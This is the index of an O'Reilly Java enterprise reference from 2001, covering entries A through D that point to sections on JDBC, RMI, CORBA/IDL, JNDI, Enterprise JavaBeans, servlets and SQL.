AlreadyBoundHelper class: 36. The org.omg.CosNaming. NamingContextPackage Package
AlreadyBoundHolder class: 36. The org.omg.CosNaming. NamingContextPackage Package
ANSI-92 SQL state codes: 2.7. Handling Errors
ANSI SQL standard 7.3.2. Transaction Isolation Levels
Any class: 30. The org.omg.CORBA Package
AnyHolder class: 30. The org.omg.CORBA Package
applets
classes, loading: 3.5. Dynamically Loaded Classes
3.5.2. Loading Classes from Applets
deployment, Java drivers and: 2.3. JDBC Drivers
JDBC-ODBC Bridge requirements: 2.3.2. The JDBC-ODBC Bridge
ApplicationException class: 33. The org.omg.CORBA.portable Package
applications
EJB components insulating from service details: 7. Enterprise JavaBeans
object references (application-specific): 4.4.2. Getting Objects from Other Remote Objects
architecture
CORBA: 4.1. The CORBA Architecture
distributed computing (hypothetical enterprise): 1.4. Enterprise Computing Scenarios
JDBC: 2.1. JDBC Architecture
JNDI: 6.1. JNDI Architecture
RMI: 3.1.2. RMI Architecture
ARG_IN interface: 30. The org.omg.CORBA Package
ARG_INOUT interface: 30. The org.omg.CORBA Package
ARG_OUT interface: 30. The org.omg.CORBA Package
arguments
initialization constructors: 3.6.2.1. The Activatable class
remote methods: 3.4.2. Remote Method Arguments and Return Values
Array class: 18. The java.sql Package
arrays
IDL, mapping to Java: 10.7.2.1. Mapping arrays to Java
IDL typedef: 10.7.2. Arrays
sequences (IDL): 10.7.3. Sequences
update counts: 2.13.2. Batch Updates
atomicity of transactions: 1.3.8. JTA: Managing Distributed Transactions
Attribute interface: 6.9.4. The Attribute Interface
6.10. Modifying Directory Entries
23. The javax.naming.directory Package
AttributeModificationException class: 23. The javax.naming.directory Package
attributes
DirContext interface: 6.9.2. The DirContext Interface
directories, specification requirements: 6.11. Creating Directory Entries
directory services: 6. JNDI
6.9. Accessing Directory Services
IDL interfaces: 10.10.1. Attributes
accessor methods, mapping to: 10.10.4.2. Attributes
identifiers: 10.10.3.1. Method and attribute inheritance
inheriting: 10.10.3. Interface Inheritance
IDL vs. Java: 4.2.1.3. Data members and methods
key, object class definition and: 6.9.2. The DirContext Interface
modifying: 6.10. Modifying Directory Entries
6.10. Modifying Directory Entries
23. The javax.naming.directory Package
searching: 6.12. Searching a Directory
servlet requests: 5.10.1. Request Dispatching
sharing: 5.10.2. Shared Attributes
syntax definition: 6.9.3. The Attributes Interface
type definition: 6.9.3. The Attributes Interface
23. The javax.naming.directory Package
Attributes interface: 6.9.3. The Attributes Interface
6.10. Modifying Directory Entries
23. The javax.naming.directory Package
retrieving and enumerating: 6.9.3. The Attributes Interface
authentication
CORBA Security Service: 11.2. Security Service
methods: 5.2.5. Servlet Requests
5.2.7. Security
servlet requests: 5.2.5. Servlet Requests
5.2.7. Security
AuthenticationException class: 22. The javax.naming Package
AuthenticationNotSupportedException class: 22. The javax.naming Package
auto-commit mode (transactions): 2.10. Transactions
2.13.2. Batch Updates

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B

BAD_CONTEXT class: 30. The org.omg.CORBA Package
BAD_INV_ORDER class: 30. The org.omg.CORBA Package
BadKind class: 34. The org.omg.CORBA.TypeCodePackage Package
BAD_OPERATION class: 30. The org.omg.CORBA Package
BAD_OPERATION exception: 10.7.6.1. Mapping unions to Java
BAD_PARAM class: 4.4. Finding Remote Objects
30. The org.omg.CORBA Package
BAD_REQUEST error class: 26. The javax.servlet.http Package
BAD_TYPECODE class: 30. The org.omg.CORBA Package
BasicAttribute class: 23. The javax.naming.directory Package
BasicAttributes class: 6.10. Modifying Directory Entries
6.10. Modifying Directory Entries
23. The javax.naming.directory Package
BasicServlet class: 5.2. Servlet Basics
batch updates (JDBC): 2.13.2. Batch Updates
BatchUpdateException class: 2.13.2. Batch Updates
18. The java.sql Package
bean class (primary key, matching): 7.6.7. Container-Managed Persistence
bean implementation: 7.4. Implementing a Basic EJB Object
7.4.3. The Bean Implementation
classes and interfaces (deployment): 7.7. Deploying an Enterprise JavaBeans Object
entity beans: 7.6.3. Entity Bean Implementation
finder methods: 7.6.2. Finder Methods
7.6.2. Finder Methods
JAR files: 7.7.4. Packaging Enterprise JavaBeans
methods, home and remote interface: 7.4. Implementing a Basic EJB Object
persistence, managing: 7.6.7. Container-Managed Persistence
7.6.7.1. Handling complex data structures
programming restrictions (EJB 1.1): 7.9.4. Detailed Programming Restrictions for Bean Implementations
remote interface, implementing directly: 7.4.3. The Bean Implementation
bean-managed entity beans: 7.6. Implementing Entity Beans
7.6. Implementing Entity Beans
(see also persistence)
beans
insulating from service details: 7. Enterprise JavaBeans
transaction-support attributes: 7.3. Transaction Management
beforeCompletion()
SessionSynchronization interface: 19. The javax.ejb Package
Synchronization interface: 28. The javax.transaction Package
beforeCompletion() (SessionSynchronization): 7.5.2. Optional Transaction Support
begin() (UserTransaction): 7.3. Transaction Management
28. The javax.transaction Package
best effort semantics (CORBA method calls): 10.10.2.4. Call semantics
BigDecimal class: 30. The org.omg.CORBA Package
binary data, transmitting (servlets): 5.9. Databases and Non-HTML Content
binary large objects (BLOBs): 2.6.2. Large Data Types
2.13.4. BLOBs and CLOBs
BinaryRefAddr class: 22. The javax.naming Package
bind()
Context interface: 6.8. Binding Objects
Naming class: 13. The java.rmi Package
NamingContext interface: 4.3.3. Adding Objects to a Naming Context
35. The org.omg.CosNaming Package
Registry interface: 3.4.1. The Registry and Naming Services
16. The java.rmi.registry Package
bind_context() (NamingContext): 35. The org.omg.CosNaming Package
binding
IDL (early): 10.10.3.3. IDL early binding
languages to CORBA: 4.1.1. Interface Definition Language
listing (Context): 6.6.3. Listing the Bindings of a Context
name-to-objects, tracking: 22. The javax.naming Package
objects to names: 6.3. Introducing the Context
6.9.2. The DirContext Interface
objects to sessions: 5.8. Session Tracking
remote objects to names: 3.4.1. The Registry and Naming Services
Binding class: 6.8. Binding Objects
22. The javax.naming Package
35. The org.omg.CosNaming Package
BindingHelper class: 35. The org.omg.CosNaming Package
BindingHolder class: 35. The org.omg.CosNaming Package
BindingIterator interface: 11.1. Naming Service
35. The org.omg.CosNaming Package
BindingIteratorHelper class: 35. The org.omg.CosNaming Package
BindingIteratorHolder class: 35. The org.omg.CosNaming Package
_BindingIteratorImplBase class: 35. The org.omg.CosNaming Package
_BindingIteratorStub class: 35. The org.omg.CosNaming Package
BindingListHelper class: 35. The org.omg.CosNaming Package
BindingType class: 35. The org.omg.CosNaming Package
BindingTypeHelper class: 35. The org.omg.CosNaming Package
BindingTypeHolder class: 35. The org.omg.CosNaming Package
bind_new_context() (NamingContext): 4.3.3. Adding Objects to a Naming Context
Blob interface: 18. The java.sql Package
BLOBs (binary large objects): 2.6.2. Large Data Types
2.13.4. BLOBs and CLOBs
BooleanHolder class: 30. The org.omg.CORBA Package
bound flag: 38.2.3.1. Member availability and flags
Bounds class: 30. The org.omg.CORBA Package
34. The org.omg.CORBA.TypeCodePackage Package
branch, CORBA naming directory): 4.1.3. The Naming Service
browsing (naming system): 6.6.2. Browsing a Naming System
business logic (EJB): 1.3.5. Enterprise JavaBeans
business methods
beans, running transactions: 7.3. Transaction Management
remote interface: 7.2.2. The Enterprise JavaBeans Object
7.4.2. Remote Interface
ByteHolder class: 30. The org.omg.CORBA Package
BytesMessage interface: 21. The javax.jms Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C

C++ language
code, wrapping with Java interface: 3.7. RMI and Native Method Calls
comments (IDL): 10.3. Comments
IDL interfaces, converting: 4. Java IDL
Java and IDL syntax, modeled upon: 4.2.1. An IDL Primer
modules (IDL), similarity to namespace: 10.9. Module Declarations
multithreading vs. concurrency control (CORBA): 11.6. Concurrency Control Service
nonclass data structure definitions: 4.2.1. An IDL Primer
operators (IDL support): 10.5. Constants and Literals
path to pre-processor (idltojava compiler): 12. Java IDL Tools
unions (IDL), similarity: 10.7.6. Unions
CallableStatement interface: 2.5. Statements
18. The java.sql Package
escape sequences: 2.12. Escape Sequences
stored procedures: 2.11. Stored Procedures
CannotProceed class: 36. The org.omg.CosNaming. NamingContextPackage Package
CannotProceedException class: 22. The javax.naming Package
CannotProceedHelper class: 36. The org.omg.CosNaming. NamingContextPackage Package
CannotProceedHolder class: 36. The org.omg.CosNaming. NamingContextPackage Package
case-sensitivity (attributes): 23. The javax.naming.directory Package
cast operation (remote object classes): 4.1.3. The Naming Service
catalogs (SQL): 8.1. Relational Databases
catch blocks (SQLException): 2.7. Handling Errors
CGI scripts, servlets replacing: 5. Java Servlets
chaining, servlets: 5.3. Servlet Chaining
characters
char strings: 3.7. RMI and Native Method Calls
character sets
alphanumeric (ISO Latin-1): 10.2. Identifiers
multibyte: 10.4.1. Strings and Characters
servlet output streams: 5.2.4. Servlet Responses
CLOBs (character large objects): 2.6.2. Large Data Types
2.13.4. BLOBs and CLOBs
IDL: 10.4.1. Strings and Characters
literals: 10.5.4. Character Literals
10.5.4. Character Literals
separators (compound names): 6.6.1. How Names Work
wildcard searching: 6.12.1. Search Criteria
CharHolder class: 30. The org.omg.CORBA Package
child (Context)
children of, listing: 6.6.1. How Names Work
listing: 6.6. Listing the Children of a Context
looking up: 6.4. Looking Up Objects in a Context
name and path: 6.6. Listing the Children of a Context
parent object, destroying: 6.7. Creating and Destroying Contexts
class variables, thread safety and: 5.5. Thread Safety
classes
activatable remote objects: 3.6.2. Defining an Activatable Remote Object
activation groups: 3.6.4.1. Registering activation groups
definition, tracking: 9. RMI Tools
directory schema, determining: 6.9.1. X.500 Directories
Dynamic Invocation Interface (DII): 4.5.1. Dynamic Invocation Interface
inner: 4.2.1. An IDL Primer
Java, IDL interfaces vs.: 4.2.1. An IDL Primer
loading dynamically: 3.5. Dynamically Loaded Classes
loading from applets: 3.5.2. Loading Classes from Applets
loading remote: 3.5.1. Configuring Clients and Servers for Remote Class Loading
security: 3.5.1. Configuring Clients and Servers for Remote Class Loading
names for (JDBC): 2.13.3. Java-Aware Databases
public: 4.2.1. An IDL Primer
7.4.3. The Bean Implementation
remote interface, implementing: 3.2. Defining Remote Objects
remote object implementations: 3.2.1. Key RMI Classes for Remote Object Implementations
server, simple (IDL): 4.2.2.1. A simple server class
service providers (JNDI): 6.1. JNDI Architecture
6.4. Looking Up Objects in a Context
stubs and skeletons
rmic compiler, generating: 9. RMI Tools
stubs and skeletons, generating: 3.8. RMI over IIOP
Class.forName()
Driver interface: 18. The java.sql Package
DriverManager class: 18. The java.sql Package
classpath: 3.5. Dynamically Loaded Classes
libraries, specifying: 6.5.3. Running the Shell
local default class loader: 3.5.1. Configuring Clients and Servers for Remote Class Loading
RMI activation daemon: 9. RMI Tools
RMI registry: 3.5.1. Configuring Clients and Servers for Remote Class Loading
9. RMI Tools
rmic compiler: 9. RMI Tools
serialver utility (RMI): 9. RMI Tools
clear() (Attribute): 6.9.4. The Attribute Interface
clearBatch() (Statement): 2.13.2. Batch Updates
clearBody() (Message): 21. The javax.jms Package
clearParameters() (PreparedStatement): 18. The java.sql Package
client-initiated transactions: 7.3. Transaction Management
client interfaces (remote object stubs): 3. Remote Method Invocation
client stubs: 3.1.1. RMI in Action
3.1.3.1. Naming/registry service
17. The java.rmi.server Package
classes, loading: 3.5. Dynamically Loaded Classes
classes, regenerating (RMI/IIOP): 3.8. RMI over IIOP
configuring, remote class loading: 3.5.1. Configuring Clients and Servers for Remote Class Loading
containers (EJB), generating: 7.2.3. The EJB Container
CORBA: 4.1. The CORBA Architecture
4.1.2. Object Request Broker
remote object classes: 4.1.3. The Naming Service
remote object references: 4.4. Finding Remote Objects
generating: 3.2. Defining Remote Objects
3.3. Creating the Stubs and Skeletons
idltojava compiler, generating: 4.2.2. Turning IDL Into Java
4.2.2.4. The client and server stubs
Java to CORBA object: 3.7.1. RMI with JNI Versus CORBA
language-specific, generating: 3.8.1. Accessing RMI Objects from CORBA
obtaining: 7.8.2. Creating/Finding Beans
original objects, changing: 3.4.2. Remote Method Arguments and Return Values
remote objects, not instantiated: 3.6.3.1. Registering an activatable object without instantiating
RemoteObject class, using: 3.2.1. Key RMI Classes for Remote Object Implementations
RMI architecture: 3.1.2. RMI Architecture
rmic compiler, generating: 9. RMI Tools
clients: 7.5.1. Stateless Versus Stateful Session Beans
(see also client stubs)
cookies, storing data on: 5.7. Cookies
CORBA
licensed services, requesting: 11.11. Licensing Service
object persistence, controlling: 11.4. Persistent Object Service
services, trading system: 11.14. Trading Service
EJB: 7.2.1. The EJB Client
JNDI server and home interface name, specifying: 7.2.1. The EJB Client
stubs, method requests and: 7.2.2. The Enterprise JavaBeans Object
enterprise beans, using as: 7.8. Using an Enterprise JavaBeans Object
host, getting name: 5.2.5. Servlet Requests
identifying: 7.5. Implementing Session Beans
7.7.2. Access-Control Deployment Attributes
7.8.1. Finding Home Interfaces Through JNDI
IDL, context: 10.10.2.3. Context values
as Java objects (RMI): 3.1. Introduction to RMI
remote method requests, server objects: 4.5. What If I Don't Know the Interface?
remote objects, communicating with: 3.2. Defining Remote Objects
3.4. Accessing Remote Objects as a Client
4.3. Putting It in the Public Eye
session beans as remote extensions: 7.5. Implementing Session Beans
session tracking: 5.8. Session Tracking
stateful session beans, interaction with: 7.5.1. Stateless Versus Stateful Session Beans
7.5.1. Stateless Versus Stateful Session Beans
stringified object reference, using: 4.4.3. Stringified Object References
web browsers: 5.1. The Servlet Life Cycle
Clob interface: 18. The java.sql Package
CLOBs (character large objects): 2.6.2. Large Data Types
2.13.4. BLOBs and CLOBs
cloning (remote servers): 17. The java.rmi.server Package
close()
Connection interface: 2.5. Statements
21. The javax.jms Package
PooledConnection interface: 27. The javax.sql Package
closing database connections: 2.4. Connecting to the Database
clusters (SQL): 8.1. Relational Databases
CODE parameter (servlet tags): 5.6. Server-Side Includes
code, synchronized blocks: 5.5. Thread Safety
CODEBASE parameter (servlet tags): 5.6. Server-Side Includes
Collection objects: 11.10. Query Service
Collection Service (CORBA): 11.15. Collection Service
collections: 7.6.2. Finder Methods
types: 7.9.5. Assorted Other Changes
columns
ResultSet
data types: 2.6. Results
values, retrieving: 2.6. Results
SQL tables
adding: 8.3.2. ALTER TABLE
constraints: 8.3.1. CREATE TABLE
data types: 8.2. Data Types
columns (database)
Java objects, storing (type): 2.13.3. Java-Aware Databases
null values: 2.6.1. Handling Nulls
Command interface: 6.5.1. The Command Interface
CommandEnvironment class: 14. The java.rmi.activation Package
CommandException class: 6.5.1. The Command Interface
commands
loading and executing (JNDI): 6.5. The NamingShell Application
RMI
rmid command: 9. RMI Tools
RMI registry: 9. RMI Tools
SQL: 8. SQL Reference
ALTER TABLE: 8.3.2. ALTER TABLE
data manipulation: 8.4. Data Manipulation Commands
DELETE: 8.4.4. DELETE
DROP: 8.3.3. DROP
INSERT: 8.4.2. INSERT
schema manipulation: 8.3. Schema Manipulation Commands
SELECT: 8.4.1. SELECT
SUBSTRING: 8.5.2.2. String manipulation functions
UPDATE: 8.4.3. UPDATE
comments (IDL), mapping to Java: 10.3.1. Mapping Comments to Java
COMM_FAILURE class: 30. The org.omg.CORBA Package
commit()
Connection interface: 2.10. Transactions
Session interface: 21. The javax.jms Package
Transaction interface: 28. The javax.transaction Package
UserTransaction interface: 7.3. Transaction Management
28. The javax.transaction Package
XAResource interface: 29. The javax.transaction.xa Package
committing transactions: 1.3.8. JTA: Managing Distributed Transactions
2.10. Transactions
auto-commit mode: 2.10. Transactions
Common Object Request Broker Architecture (see CORBA)
CommunicationException class: 22. The javax.naming Package
CompletionStatus class: 30. The org.omg.CORBA Package
complex data types
accessing: 30. The org.omg.CORBA Package
IDL: 10.7. User-Defined Data Types
CompositeName class: 22. The javax.naming Package
compound names: 6.6.1. How Names Work
CompoundName class: 6.6.1. How Names Work
22. The javax.naming Package
concurrency
support information (DataBaseMetaData): 2.13.1. Results Handling
transactions (EJB container management): 7.6. Implementing Entity Beans
Concurrency Control Service (CORBA): 11.6. Concurrency Control Service
11.9. Transaction Service
configuration information
database metadata: 2.9. Metadata
2.9.1. DatabaseMetaData
servlets, sharing: 5.10.2. Shared Attributes
ConfigurationException class: 22. The javax.naming Package
conformance levels (SQL-92): 8. SQL Reference
ConnectException class: 13. The java.rmi Package
ConnectIOException class: 13. The java.rmi Package
Connection interface: 2.2. JDBC Basics
2.4. Connecting to the Database
18. The java.sql Package
isolation modes, listed: 2.10. Transactions
JMS: 21. The javax.jms Package
transactions (JDBC), managing: 2.10. Transactions
connection pooling: 2.10. Transactions
JDBC 2.0 standard extension: 2.13.5. The JDBC Standard Extension
ConnectionConsumer interface: 21. The javax.jms Package
ConnectionEvent class: 27. The javax.sql Package
ConnectionFactory interface: 21. The javax.jms Package
ConnectionMetaData interface: 21. The javax.jms Package
ConnectionPoolDataSource interface: 27. The javax.sql Package
constant flag: 38.2.3.1. Member availability and flags
constants (IDL): 10. IDL Reference
10.5. Constants and Literals
early binding: 10.10.3.3. IDL early binding
interfaces (inheritance): 10.10.3.2. Constant, type, and exception inheritance
mapping to Java: 10.5.1. Mapping Constants to Java
constrained flag: 38.2.3.1. Member availability and flags
constructors: 3.1.1. RMI in Action
Activatable class: 3.6.2.1. The Activatable class
activatable objects: 3.6.2.2. Implementing an activatable object
activation, class: 3.6.4. Activation Groups
activation in server implementation: 3.6. Remote Object Activation
ActivationDescr: 3.6.4.2. Assigning activatable objects to groups
initial context, naming systems: 6.2. A JNDI Example
InitialContext, naming systems: 6.3.1. Using the InitialContext Class
NameComponent class: 4.3.3. Adding Objects to a Naming Context
public: 4.2.2.3. The holder class
reactivation: 3.6.2.1. The Activatable class
remote objects, initializing, registering, activating: 3.6.2. Defining an Activatable Remote Object
consumers (CORBA events): 11.3. Event Service
container-managed entity beans: 7.6. Implementing Entity Beans
7.6. Implementing Entity Beans
containers: 7.2.3. The EJB Container
bean management: 7.2.3. The EJB Container
classes connecting components: 7.2.3. The EJB Container
Context, implementing: 6.4. Looking Up Objects in a Context
data mapping, persistent data fields: 7.6.7.1. Handling complex data structures
deployment classes, generating: 7.7. Deploying an Enterprise JavaBeans Object
7.7.3. Generating the Container Classes and Deployment Descriptor
deployment descriptors: 7.2.2. The Enterprise JavaBeans Object
7.7. Deploying an Enterprise JavaBeans Object
7.7.3. Generating the Container Classes and Deployment Descriptor
EJB
components and servers: 1.3.5. Enterprise JavaBeans
objects, interfaces/classes: 7.2.2. The Enterprise JavaBeans Object
role in: 7.2. EJB Roles
transaction and security, bean methods: 20. The javax.ejb.deployment Package
entity beans
loading state: 7.6.3. Entity Bean Implementation
passivation and pooling: 7.6. Implementing Entity Beans
persistence, managing: 7.6. Implementing Entity Beans
7.6.7. Container-Managed Persistence
7.6.7. Container-Managed Persistence
7.6.7. Container-Managed Persistence
7.7.1. Container-Managed Data Mapping
finder methods, generating (container-managed entity beans): 7.6.7. Container-Managed Persistence
functions: 7.2.3. The EJB Container
handles: 7.6.6. Handles on Entity Beans
JAR files (bean deployment): 7.7.4. Packaging Enterprise JavaBeans
JDBC connections, providing for beans: 7.3.1. Making the EJB Server Aware of Database Transactions
method calls, transferring to EJB object: 7.2.2. The Enterprise JavaBeans Object
pooling entity beans: 7.6.5. Life Cycle of an Entity Bean
7.6.5. Life Cycle of an Entity Bean
primary keys
entity beans: 7.6.1. Primary Keys
remote objects, converting to: 7.6.2. Finder Methods
session beans: 7.6.1. Primary Keys
public class, connecting bean to container: 7.4.3. The Bean Implementation
servers vs.: 7.2.3. The EJB Container
session beans, destroying after timeout: 7.5. Implementing Session Beans
session context, passing to bean: 7.5. Implementing Session Beans
stateless session beans
pooling: 7.5.1. Stateless Versus Stateful Session Beans
transaction management: 7.8.3. Using Client-Side Transactions
transactions
boundaries, defining: 7.3. Transaction Management
contains() (Attributes): 6.9.4. The Attribute Interface
containsHeader() (HttpServletResponse): 5.2.4. Servlet Responses
26. The javax.servlet.http Package
context
IDL clients: 10.10.2.3. Context values
variables (IDL), Java compiler not supporting: 10.10.2.3. Context values
Context class
CORBA: 30. The org.omg.CORBA Package
context clauses (IDL methods), ignoring (idltojava compiler): 12. Java IDL Tools
Context interface: 4.5.1. Dynamic Invocation Interface
6.1. JNDI Architecture
7.8.1. Finding Home Interfaces Through JNDI
bindings, listing: 6.6.3. Listing the Bindings of a Context
children, listing: 6.6. Listing the Children of a Context
JNDI: 22. The javax.naming Package
keys, properties values (JNDI): 6.2. A JNDI Example
naming services, interacting with: 6.3. Introducing the Context
service providers and: 6.7. Creating and Destroying Contexts
service providers (JNDI), implementing: 6.4. Looking Up Objects in a Context
ContextList class: 30. The org.omg.CORBA Package
ContextNotEmptyException class: 22. The javax.naming Package
ControlDescriptor class: 20. The javax.ejb.deployment Package
Cookie class: 5.7. Cookies
26. The javax.servlet.http Package
cookies
manipulating: 5. Java Servlets
Netscape specification, original: 5.7. Cookies
CORBA: 1.3.3. Java IDL: CORBA Distributed Objects
architecture: 4.1. The CORBA Architecture
Security Services and: 11.2. Security Service
distributed object services: 4. Java IDL
Dynamic Invocation Interface (DII) API: 4.5. What If I Don't Know the Interface?
Dynamic Skeleton Interface (DSI) API: 4.5. What If I Don't Know the Interface?
exceptions, standard: 10.8.1. Standard Exceptions
mapping to Java: 10.8.2. Mapping Exceptions to Java
IDL: 4. Java IDL
reference: 10. IDL Reference
IIOP: 3.8. RMI over IIOP
4.1.4. Inter-ORB Communication
Interoperable Object References (IORs): 4.4.3. Stringified Object References
language independence: 3.1. Introduction to RMI
method calls, best-effort semantics: 10.10.2.4. Call semantics
Naming Service: 4.1.3. The Naming Service
35. The org.omg.CosNaming Package
remote clients, connecting to: 12. Java IDL Tools
server object, registering: 4.3.2. Registering with a Naming Service
object references, narrowing: 4.4. Finding Remote Objects
objects, adding to NamingContext: 4.3.3. Adding Objects to a Naming Context
objects, creating: 4.2. Creating CORBA Objects
ORBs (see ORBs)
org.omg.CORBA Package: 30. The org.omg.CORBA Package
remote classes, finding: 4.1.3. The Naming Service
remote object references: 4.4. Finding Remote Objects
RMI objects, accessing: 3.8.1. Accessing RMI Objects from CORBA
RMI vs.: 4.1. The CORBA Architecture
RMI with JNI vs.: 3.7.1. RMI with JNI Versus CORBA
root object class: 4.4. Finding Remote Objects
services: 11. CORBA Services Reference
Collection Service: 11.15. Collection Service
Concurrency Control Service: 11.6. Concurrency Control Service
Event Service: 11.3. Event Service
Externalization Service: 11.7. Externalization Service
Licensing Service: 11.11. Licensing Service
Life Cycle Service: 11.4. Persistent Object Service
Naming Service: 11.1. Naming Service
Persistent Object Service: 11.4. Persistent Object Service
Property Service: 11.12. Property Service
Query Service: 11.10. Query Service
Relationship Service: 11.8. Relationship Service
Security Service: 11.2. Security Service
specification (OMG): 11. CORBA Services Reference
Time Service: 11.13. Time Service
Trading Service: 11.14. Trading Service
Transaction Service: 11.6. Concurrency Control Service
11.9. Transaction Service
standard exceptions, IDL methods: 10.10.2.2. Exceptions
create(): 7.4.3. The Bean Implementation
7.4.3. The Bean Implementation
EJBHome, matching object implementation: 7.4.1. Home Interface
entity beans (container-managed persistence): 7.6.7. Container-Managed Persistence
stateless session beans: 7.5.1. Stateless Versus Stateful Session Beans
createBrowser() (QueueSession): 21. The javax.jms Package
create_child(), Context class: 30. The org.omg.CORBA Package
createDurableSubscriber() (TopicSession): 21. The javax.jms Package
CreateException class: 7.4.1. Home Interface
19. The javax.ejb Package
create_exception_list() (ORB): 30. The org.omg.CORBA Package
create_exception_tc() (ORB): 30. The org.omg.CORBA Package
30. The org.omg.CORBA Package
createGroup() (ActivationGroup): 14. The java.rmi.activation Package
create_list() (ORB): 30. The org.omg.CORBA Package
create_named_value(): 30. The org.omg.CORBA Package
create_named_value() (ORB): 30. The org.omg.CORBA Package
30. The org.omg.CORBA Package
createQueue() (QueueSession): 21. The javax.jms Package
createQueueConnection() (QueueConnectionFactory): 21. The javax.jms Package
createQueueSession() (QueueConnection): 21. The javax.jms Package
createReceiver() (QueueSession): 21. The javax.jms Package
createRegistry() (LocateRegistry): 3.4.1. The Registry and Naming Services
16. The java.rmi.registry Package
17. The java.rmi.server Package
17. The java.rmi.server Package
create_request() (Object): 30. The org.omg.CORBA Package
createSocket()
RMIClientSocketFactory interface: 17. The java.rmi.server Package
RMISocketFactory interface: 17. The java.rmi.server Package
createStatement() (Connection): 18. The java.sql Package
create_struct_tc() (ORB): 30. The org.omg.CORBA Package
createSubcontext()
Context interface: 6.7. Creating and Destroying Contexts
DirContext interface: 6.11. Creating Directory Entries
23. The javax.naming.directory Package
createSubscriber() (TopicSession): 21. The javax.jms Package
createTopicConnection() (TopicConnectionFactory): 21. The javax.jms Package
createXATopicSession() (XATopicConnection interface): 21. The javax.jms Package
cross-database APIs: 2.1. JDBC Architecture
cryptography, CORBA Security Service: 11.2. Security Service
CTX_RESTRICT_SCOPE interface: 30. The org.omg.CORBA Package
Current interface: 30. The org.omg.CORBA Package
cursor position (result sets): 2.13.1. Results Handling
customizing
cookies: 5.7. Cookies
servlet initialization: 5.4. Custom Servlet Initialization

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D

DAP (Directory Access Protocol): 6.9.1. X.500 Directories
data manipulation commands (SQL): 8.4. Data Manipulation Commands
data types
binary, transmitting (servlets): 5.9. Databases and Non-HTML Content
binary and character (large objects): 2.13.4. BLOBs and CLOBs
columns, returning (ResultSet): 2.6. Results
DatabaseMetaData methods, returning: 2.9.1. DatabaseMetaData
IDL: 10. IDL Reference
declaring: 4.2.1.3. Data members and methods
typedef: 10.7.1.1. Mapping typedefs to Java
user-defined: 10.7. User-Defined Data Types
10.10.3.2. Constant, type, and exception inheritance
10.10.3.3. IDL early binding
IDL, supporting: 10.4. Basic Data Types
Java/SQL mapping: 8.2. Data Types
large: 2.6.2. Large Data Types
literals (IDL), numeric: 10.5.3. Numeric Literals
MapMessage name/value pairs: 21. The javax.jms Package
mapping to standard SQL types: 2.8. Prepared Statements
object, Java handling: 4.2.1. An IDL Primer
primitive: 2.6. Results
boolean: 5.8. Session Tracking
Java handling: 4.2.1. An IDL Primer
relational databases and: 2.13.3. Java-Aware Databases
serialization: 3.4.2. Remote Method Arguments and Return Values
servlet responses, specifying: 5.2.4. Servlet Responses
SQL: 18. The java.sql Package
SQL and Java: 2.6. Results
SQL tables columns: 8.2. Data Types
stored procedures output: 2.11. Stored Procedures
database connections, servlet benefits: 5.1. The Servlet Life Cycle
database management system (DBMS): 8.1. Relational Databases
database mapping
bean implementation (deployment descriptors): 7.7. Deploying an Enterprise JavaBeans Object
complex data structures: 7.6.7.1. Handling complex data structures
container-managed persistence: 7.7.1. Container-Managed Data Mapping
serialization (data structures, entity beans): 7.6.7.1. Handling complex data structures
database schema (directory schema vs.): 6.9.1. X.500 Directories
database servers, Drivers (JDBC): 1.3.1. JDBC: Working with Databases
database updates, transactions: 7.3.1. Making the EJB Server Aware of Database Transactions
DatabaseMetaData class: 18. The java.sql Package
DatabaseMetaData interface: 2.9. Metadata
2.9.1. DatabaseMetaData
scrolling and concurrency support: 2.13.1. Results Handling
databases: 1.3.1. JDBC: Working with Databases
(see also relational databases)
changes, losing: 2.10. Transactions
columns, null values: 2.6.1. Handling Nulls
commands, database-independent (JDBC): 2.12. Escape Sequences
configuration information, obtaining: 2.9.1. DatabaseMetaData
connection sharing: 5.5. Thread Safety
connections: 2.4. Connecting to the Database
18. The java.sql Package
closing: 2.4. Connecting to the Database
creating: 2.2. JDBC Basics
pooling: 2.4. Connecting to the Database
connections, pooling: 5.9. Databases and Non-HTML Content
differences among systems: 2.1. JDBC Architecture
enterprise applications, dependency: 2. JDBC
entries, maintaining (bean-managed persistence): 7.6.7. Container-Managed Persistence
interaction with JDBC: 2.1. JDBC Architecture
isolation levels, transactions and: 7.3.2. Transaction Isolation Levels
Java-aware: 2.13.3. Java-Aware Databases
JDBC API, supporting transactions: 1.3.8. JTA: Managing Distributed Transactions
JDBC, working with relational: 1.3.1. JDBC: Working with Databases
mapping, container-managed persistence: 7.6.7. Container-Managed Persistence
7.6.7. Container-Managed Persistence
objects (Java types), inserting: 2.8. Prepared Statements
protocols, defining (ODMG): 11.4. Persistent Object Service
records, mapping to Java objects: 2.13.3. Java-Aware Databases
rows
accessing (result sets): 2.13.1. Results Handling
editing data, inserting and deleting rows (ResultSet): 2.13.1. Results Handling
insertions, preventing (transactions): 2.10. Transactions
null values, inserting: 2.13.1. Results Handling
scalar functions: 2.12. Escape Sequences
servlets, handling: 5.9. Databases and Non-HTML Content
SQL statments and: 18. The java.sql Package
SQL strings, processing: 2.8. Prepared Statements
standardized interface (SQL): 8. SQL Reference
stored procedures: 2.11. Stored Procedures
stored procedures, accessing: 2.5. Statements
stored SQL procedures, accessing: 18. The java.sql Package
tables, displaying contents: 2.9.2. ResultSetMetaData
transactions: 2.10. Transactions
update counts, getting: 2.5.1. Multiple Result Sets
updateable ResultSet, differences: 2.13.1. Results Handling
updating (atomic transactions): 1.4.2. Updating CornCo with Enterprise JavaBeans
DATA_CONVERSION class: 30. The org.omg.CORBA Package
DataSource interface: 27. The javax.sql Package
DataTruncation class: 18. The java.sql Package
date and time functions (SQL): 8.5.2. Value Functions
Date class: 2.6.3. Dates and Times
18. The java.sql Package
dates
DateFilter servlet: 5.3. Servlet Chaining
filtering, servlets: 5.3. Servlet Chaining
DBMS (Database Management System): 8.1. Relational Databases
DCE Common Inter-ORB Protocol (DCE-CIOP): 4.1.4. Inter-ORB Communication
debugging applications: 2.7.1. SQL Warnings
declarations
IDL interfaces: 4.2.1.2. Interfaces
